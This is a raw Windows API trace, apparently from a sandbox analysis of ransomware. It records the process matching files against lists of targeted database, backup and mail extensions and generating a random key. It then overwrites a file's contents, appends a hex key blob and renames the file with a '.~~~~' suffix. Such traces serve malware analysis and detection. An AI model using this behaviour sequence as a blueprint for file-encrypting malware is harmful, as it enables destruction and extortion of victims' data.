	[0067.194] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml", lpSrch=".ACCDB") returned 0x0
	[0067.194] lstrlenW (lpString=".fdb") returned 4
	[0067.194] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml", lpSrch=".fdb") returned 0x0
	[0067.194] lstrlenW (lpString=".bak") returned 4
	[0067.194] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml", lpSrch=".bak") returned 0x0
	[0067.194] lstrlenW (lpString=".myd") returned 4
	[0067.194] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml", lpSrch=".myd") returned 0x0
	[0067.194] lstrlenW (lpString=".DTXS") returned 5
	[0067.194] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml", lpSrch=".DTXS") returned 0x0
	[0067.194] lstrlenW (lpString=".ckp") returned 4
	[0067.194] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml", lpSrch=".ckp") returned 0x0
	[0067.194] lstrlenW (lpString=".dbt") returned 4
	[0067.194] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml", lpSrch=".dbt") returned 0x0
	[0067.195] lstrlenW (lpString=".db") returned 3
	[0067.195] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml", lpSrch=".db") returned 0x0
	[0067.195] lstrlenW (lpString=".TXT") returned 4
	[0067.195] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml", lpSrch=".TXT") returned 0x0
	[0067.195] lstrlenW (lpString=".MDF") returned 4
	[0067.195] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml", lpSrch=".MDF") returned 0x0
	[0067.195] lstrlenW (lpString=".bdb") returned 4
	[0067.195] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml", lpSrch=".bdb") returned 0x0
	[0067.195] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0067.195] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0067.195] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x39d7e8
	[0067.195] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f18
	[0067.195] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0067.196] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f18 | out: pbBuffer=0x362f18) returned 1
	[0067.196] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0067.196] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f18 | out: hHeap=0x300000) returned 1
	[0067.196] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0067.196] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x27f0050
	[0067.197] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=18718703222) returned 1
	[0067.197] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x951213f0, dwHighDateTime=0x1d60e1e)) 
	[0067.197] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0067.197] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0067.197] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0067.197] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39ddc8
	[0067.197] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0067.197] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ddc8 | out: hHeap=0x300000) returned 1
	[0067.197] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x363d38
	[0067.323] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0067.323] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e6e68
	[0067.323] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363d38 | out: hHeap=0x300000) returned 1
	[0067.323] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0067.323] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6e68 | out: hHeap=0x300000) returned 1
	[0067.323] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0067.323] GetLastError () returned 0x0
	[0067.323] SetLastError (dwErrCode=0x0) 
	[0067.323] GetLastError () returned 0x0
	[0067.323] SetLastError (dwErrCode=0x0) 
	[0067.323] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0067.323] GetLastError () returned 0x0
	[0067.324] SetLastError (dwErrCode=0x0) 
	[0067.324] GetLastError () returned 0x0
	[0067.324] SetLastError (dwErrCode=0x0) 
	[0067.324] GetLastError () returned 0x0
	[0067.324] SetLastError (dwErrCode=0x0) 
	[0067.324] GetLastError () returned 0x0
	[0067.324] SetLastError (dwErrCode=0x0) 
	[0067.324] GetLastError () returned 0x0
	[0067.324] SetLastError (dwErrCode=0x0) 
	[0067.324] GetLastError () returned 0x0
	[0067.324] SetLastError (dwErrCode=0x0) 
	[0067.324] GetLastError () returned 0x0
	[0067.324] SetLastError (dwErrCode=0x0) 
	[0067.324] GetLastError () returned 0x0
	[0067.324] SetLastError (dwErrCode=0x0) 
	[0067.324] GetLastError () returned 0x0
	[0067.324] SetLastError (dwErrCode=0x0) 
	[0067.324] GetLastError () returned 0x0
	[0067.324] SetLastError (dwErrCode=0x0) 
	[0067.324] GetLastError () returned 0x0
	[0067.325] SetLastError (dwErrCode=0x0) 
	[0067.325] GetLastError () returned 0x0
	[0067.325] SetLastError (dwErrCode=0x0) 
	[0067.325] GetLastError () returned 0x0
	[0067.325] SetLastError (dwErrCode=0x0) 
	[0067.325] GetLastError () returned 0x0
	[0067.325] SetLastError (dwErrCode=0x0) 
	[0067.325] GetLastError () returned 0x0
	[0067.325] SetLastError (dwErrCode=0x0) 
	[0067.325] GetLastError () returned 0x0
	[0067.325] SetLastError (dwErrCode=0x0) 
	[0067.325] GetLastError () returned 0x0
	[0067.325] SetLastError (dwErrCode=0x0) 
	[0067.325] GetLastError () returned 0x0
	[0067.325] SetLastError (dwErrCode=0x0) 
	[0067.325] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8008 | out: hHeap=0x300000) returned 1
	[0067.325] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x19000) returned 0x3c04d0
	[0067.325] ReadFile (in: hFile=0x128, lpBuffer=0x3c04d0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3c04d0*, lpNumberOfBytesRead=0x26dfec0*=0x543, lpOverlapped=0x0) returned 1
	[0067.329] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffffabd, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0067.329] WriteFile (in: hFile=0x128, lpBuffer=0x3c04d0*, nNumberOfBytesToWrite=0x543, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3c04d0*, lpNumberOfBytesWritten=0x26dfec0*=0x543, lpOverlapped=0x0) returned 1
	[0067.330] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c04d0 | out: hHeap=0x300000) returned 1
	[0067.330] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0067.330] WriteFile (in: hFile=0x128, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0067.330] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0067.330] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0067.330] CloseHandle (hObject=0x128) returned 1
	[0067.331] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3a3158
	[0067.331] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.~~~~" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml.~~~~")) returned 1
	[0067.332] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3158 | out: hHeap=0x300000) returned 1
	[0067.332] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0067.332] GetLastError () returned 0x0
	[0067.332] SetLastError (dwErrCode=0x0) 
	[0067.332] GetLastError () returned 0x0
	[0067.332] SetLastError (dwErrCode=0x0) 
	[0067.332] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362360 | out: hHeap=0x300000) returned 1
	[0067.332] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362380 | out: hHeap=0x300000) returned 1
	[0067.332] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x368b90 | out: hHeap=0x300000) returned 1
	[0067.332] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f0050 | out: hHeap=0x300000) returned 1
	[0067.333] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d7e8 | out: hHeap=0x300000) returned 1
	[0067.333] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5690 | out: hHeap=0x300000) returned 1
	[0067.333] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a55d8 | out: hHeap=0x300000) returned 1
	[0067.333] RtlWakeConditionVariable () returned 0x365f70
	[0067.333] GetCurrentThreadId () returned 0x9cc
	[0067.334] GetCurrentThreadId () returned 0x9cc
	[0067.334] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a55d8
	[0067.334] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3fa940 | out: hHeap=0x300000) returned 1
	[0067.334] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39de38 | out: hHeap=0x300000) returned 1
	[0067.334] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5690
	[0067.334] lstrlenW (lpString=".scr") returned 4
	[0067.334] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi", lpSrch=".scr") returned 0x0
	[0067.334] lstrlenW (lpString=".cmd") returned 4
	[0067.334] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi", lpSrch=".cmd") returned 0x0
	[0067.334] lstrlenW (lpString=".dll") returned 4
	[0067.334] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi", lpSrch=".dll") returned 0x0
	[0067.334] lstrlenW (lpString=".bat") returned 4
	[0067.334] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi", lpSrch=".bat") returned 0x0
	[0067.334] lstrlenW (lpString=".cpl") returned 4
	[0067.334] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi", lpSrch=".cpl") returned 0x0
	[0067.334] lstrlenW (lpString=".sys") returned 4
	[0067.334] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi", lpSrch=".sys") returned 0x0
	[0067.334] lstrlenW (lpString=".msc") returned 4
	[0067.335] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi", lpSrch=".msc") returned 0x0
	[0067.335] lstrlenW (lpString=".com") returned 4
	[0067.335] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi", lpSrch=".com") returned 0x0
	[0067.335] lstrlenW (lpString=".lnk") returned 4
	[0067.335] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi", lpSrch=".lnk") returned 0x0
	[0067.335] lstrlenW (lpString=".msp") returned 4
	[0067.335] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi", lpSrch=".msp") returned 0x0
	[0067.335] lstrlenW (lpString=".pif") returned 4
	[0067.335] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi", lpSrch=".pif") returned 0x0
	[0067.335] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0067.335] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi", lpSrch="msp\r\n.pif") returned 0x0
	[0067.335] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
	[0067.335] lstrlenW (lpString=".sqb") returned 4
	[0067.335] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi", lpSrch=".sqb") returned 0x0
	[0067.335] lstrlenW (lpString=".ost") returned 4
	[0067.336] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi", lpSrch=".ost") returned 0x0
	[0067.336] lstrlenW (lpString=".txt") returned 4
	[0067.336] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi", lpSrch=".txt") returned 0x0
	[0067.336] lstrlenW (lpString=".mdt") returned 4
	[0067.336] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi", lpSrch=".mdt") returned 0x0
	[0067.336] lstrlenW (lpString=".BDB") returned 4
	[0067.336] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi", lpSrch=".BDB") returned 0x0
	[0067.336] lstrlenW (lpString=".eql") returned 4
	[0067.336] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi", lpSrch=".eql") returned 0x0
	[0067.336] lstrlenW (lpString=".DBF") returned 4
	[0067.336] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi", lpSrch=".DBF") returned 0x0
	[0067.336] lstrlenW (lpString=".EQL") returned 4
	[0067.336] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi", lpSrch=".EQL") returned 0x0
	[0067.336] lstrlenW (lpString=".FDB") returned 4
	[0067.336] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi", lpSrch=".FDB") returned 0x0
	[0067.336] lstrlenW (lpString=".EDB") returned 4
	[0067.336] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi", lpSrch=".EDB") returned 0x0
	[0067.336] lstrlenW (lpString=".DACPAC") returned 7
	[0067.336] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi", lpSrch=".DACPAC") returned 0x0
	[0067.336] lstrlenW (lpString=".VHD") returned 4
	[0067.336] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi", lpSrch=".VHD") returned 0x0
	[0067.336] lstrlenW (lpString=".DBV") returned 4
	[0067.336] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi", lpSrch=".DBV") returned 0x0
	[0067.336] lstrlenW (lpString=".dacpac") returned 7
	[0067.337] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi", lpSrch=".dacpac") returned 0x0
	[0067.337] lstrlenW (lpString=".sdf") returned 4
	[0067.337] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi", lpSrch=".sdf") returned 0x0
	[0067.337] lstrlenW (lpString=".accdb") returned 6
	[0067.337] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi", lpSrch=".accdb") returned 0x0
	[0067.337] lstrlenW (lpString=".DBX") returned 4
	[0067.337] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi", lpSrch=".DBX") returned 0x0
	[0067.337] lstrlenW (lpString=".MDT") returned 4
	[0067.337] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi", lpSrch=".MDT") returned 0x0
	[0067.337] lstrlenW (lpString=".SQB") returned 4
	[0067.337] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi", lpSrch=".SQB") returned 0x0
	[0067.337] lstrlenW (lpString=".vhd") returned 4
	[0067.337] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi", lpSrch=".vhd") returned 0x0
	[0067.337] lstrlenW (lpString=".bac") returned 4
	[0067.337] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi", lpSrch=".bac") returned 0x0
	[0067.337] lstrlenW (lpString=".mdf") returned 4
	[0067.337] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi", lpSrch=".mdf") returned 0x0
	[0067.337] lstrlenW (lpString=".BAK") returned 4
	[0067.337] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi", lpSrch=".BAK") returned 0x0
	[0067.337] lstrlenW (lpString=".BAC") returned 4
	[0067.337] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi", lpSrch=".BAC") returned 0x0
	[0067.337] lstrlenW (lpString=".dbs") returned 4
	[0067.337] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi", lpSrch=".dbs") returned 0x0
	[0067.338] lstrlenW (lpString=".vhdx") returned 5
	[0067.338] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi", lpSrch=".vhdx") returned 0x0
	[0067.338] lstrlenW (lpString=".NDF") returned 4
	[0067.338] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi", lpSrch=".NDF") returned 0x0
	[0067.338] lstrlenW (lpString=".dat") returned 4
	[0067.338] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi", lpSrch=".dat") returned 0x0
	[0067.338] lstrlenW (lpString=".DBS") returned 4
	[0067.338] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi", lpSrch=".DBS") returned 0x0
	[0067.338] lstrlenW (lpString=".CKP") returned 4
	[0067.338] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi", lpSrch=".CKP") returned 0x0
	[0067.338] lstrlenW (lpString=".edb") returned 4
	[0067.338] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi", lpSrch=".edb") returned 0x0
	[0067.338] lstrlenW (lpString=".PST") returned 4
	[0067.338] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi", lpSrch=".PST") returned 0x0
	[0067.338] lstrlenW (lpString=".dbf") returned 4
	[0067.338] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi", lpSrch=".dbf") returned 0x0
	[0067.338] lstrlenW (lpString=".SQL") returned 4
	[0067.338] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi", lpSrch=".SQL") returned 0x0
	[0067.338] lstrlenW (lpString=".pst") returned 4
	[0067.338] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi", lpSrch=".pst") returned 0x0
	[0067.338] lstrlenW (lpString=".dbv") returned 4
	[0067.338] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi", lpSrch=".dbv") returned 0x0
	[0067.338] lstrlenW (lpString=".SDF") returned 4
	[0067.338] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi", lpSrch=".SDF") returned 0x0
	[0067.339] lstrlenW (lpString=".dtxs") returned 5
	[0067.339] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi", lpSrch=".dtxs") returned 0x0
	[0067.339] lstrlenW (lpString=".db3") returned 4
	[0067.339] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi", lpSrch=".db3") returned 0x0
	[0067.339] lstrlenW (lpString=".OST") returned 4
	[0067.339] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi", lpSrch=".OST") returned 0x0
	[0067.339] lstrlenW (lpString=".dbx") returned 4
	[0067.339] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi", lpSrch=".dbx") returned 0x0
	[0067.339] lstrlenW (lpString=".DB3") returned 4
	[0067.339] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi", lpSrch=".DB3") returned 0x0
	[0067.339] lstrlenW (lpString=".DAT") returned 4
	[0067.339] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi", lpSrch=".DAT") returned 0x0
	[0067.339] lstrlenW (lpString=".VHDX") returned 5
	[0067.339] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi", lpSrch=".VHDX") returned 0x0
	[0067.339] lstrlenW (lpString=".ndf") returned 4
	[0067.339] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi", lpSrch=".ndf") returned 0x0
	[0067.339] lstrlenW (lpString=".DB") returned 3
	[0067.339] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi", lpSrch=".DB") returned 0x0
	[0067.339] lstrlenW (lpString=".sql") returned 4
	[0067.339] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi", lpSrch=".sql") returned 0x0
	[0067.339] lstrlenW (lpString=".MYD") returned 4
	[0067.339] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi", lpSrch=".MYD") returned 0x0
	[0067.339] lstrlenW (lpString=".DBT") returned 4
	[0067.339] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi", lpSrch=".DBT") returned 0x0
	[0067.339] lstrlenW (lpString=".ACCDB") returned 6
